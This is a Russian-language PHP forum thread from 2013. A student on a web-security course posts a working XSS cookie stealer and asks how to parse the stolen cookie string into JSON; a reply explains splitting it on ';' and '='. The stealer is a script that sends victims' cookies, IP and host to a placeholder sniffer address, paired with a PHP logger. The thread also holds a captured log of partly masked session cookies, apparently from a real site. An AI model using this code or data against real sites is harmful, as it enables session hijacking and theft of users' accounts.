Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: cookie в json

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Без описания
valkiriy
Отправлено: 10 Ноября, 2013 - 18:07:37
Post Id


Гость


Покинул форум
Сообщений всего: 66
Дата рег-ции: Июнь 2012  


Помог: 0 раз(а)

[+]


на курсах преподаватель поднял вопрос о web-технологиях и их защите
и соответственно задал С/Р в 2 вариантах:

  1. Найти и использовать уязвимость
  2. Предложить свой метод решения проблемы

Ну и как известно ломать и т.д. все горазды...
не долго думая на паре намалевал xss и скрипт сниффера (что-то типа этого):
CODE (javascript):
скопировать код в буфер обмена
  1.  
  2. <script language="javascript">
  3. var img=new Image();
  4. img.src="http://(адрес сниффера).dom/?c=" + (функция аля куки) + "&ip=" + (функция аля IP) + "&h=" + (функция аля хост);
  5. </script>
  6.  

ну и сниффер:
PHP:
скопировать код в буфер обмена
  1. <?
  2. if($_SERVER['QUERY_STRING'] == TRUE)
  3. {
  4. $q=$_SERVER['QUERY_STRING'];
  5. parse_str($q, $out);
  6. $fp=fopen("cookie.log","a");
  7. fputs($fp,"Host: ".$out['h']."\nIP: ".$out['ip']."\nCookie: "$out['c']"\n\n");
  8. fclose($fp);
  9. }
  10. if(file_exists("cookie.log"))
  11. {
  12. readfile("cookie.log");
  13. }
  14. ?>

ну и полученные логи:
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2. Host: http://****
  3. IP: 78.****.14
  4. Cookie:
  5. ****uzfss=lt=1384086559,pst=1383988327;****f0=dUQZfH9ShUITfH9SZEQUfH9SdUQffH9S;****uzll=1384086034;ucvid=DH6c746mkE;__utma=115884185.109802954.1374751004.1383988157.1384086371.68;__utmz=115884185.1374836945.2.2.utmcsr=vk.com|utmccn=(referral)|utmcmd=referral|utmcct=/im;****uispm=1384079619-0;****uCoz=4drSCZz8uEJnUsIu;__utmb=115884185.6.10.1384086371;__utmc=115884185

Хотел как лучше, а получилось как всегда...
препод в нагрузку заставил привести куки в более практичный вид...
сначала хотел использовать XML, но погуглив решил что json будет более удачный вариант, но разбить строку с куками получается проблематично, а именно пугает то что в значениях имеется символ "=" и ибо не наступать на грабли несколько раз - решил проконсультироватся тут
 
 Top
tato
Отправлено: 11 Ноября, 2013 - 13:07:44
Post Id



Посетитель


Покинул форум
Сообщений всего: 468
Дата рег-ции: Сент. 2011  
Откуда: Владивосток


Помог: 8 раз(а)




Вам поможет ";", т.к. она разделяет записи. Используем explode()

****uzfss=lt=1384086559,pst=1383988327;
****f0=dUQZfH9ShUITfH9SZEQUfH9SdUQffH9S;
****uzll=1384086034;
ucvid=DH6c746mkE;
__utma=115884185.109802954.1374751004.1383988157.1384086371.68;
__utmz=115884185.1374836945.2.2.utmcsr=vk.com|utmccn=(referral)|utmcmd=referral|utmcct=im;
****uispm=1384079619-0;
****uCoz=4drSCZz8uEJnUsIu;
__utmb=115884185.6.10.1384086371;
__utmc=115884185

В каждой из этих строк все символы до первого "=" - это ключ записи, все остальное значение.

поможет substr или preg_match, по вкусу вообщем.

Значения так же разбиваем если надо, например здесь надо: "lt=1384086559,pst=1383988327"

кататак


-----
просто ?: сложно
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Вопросы новичков »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB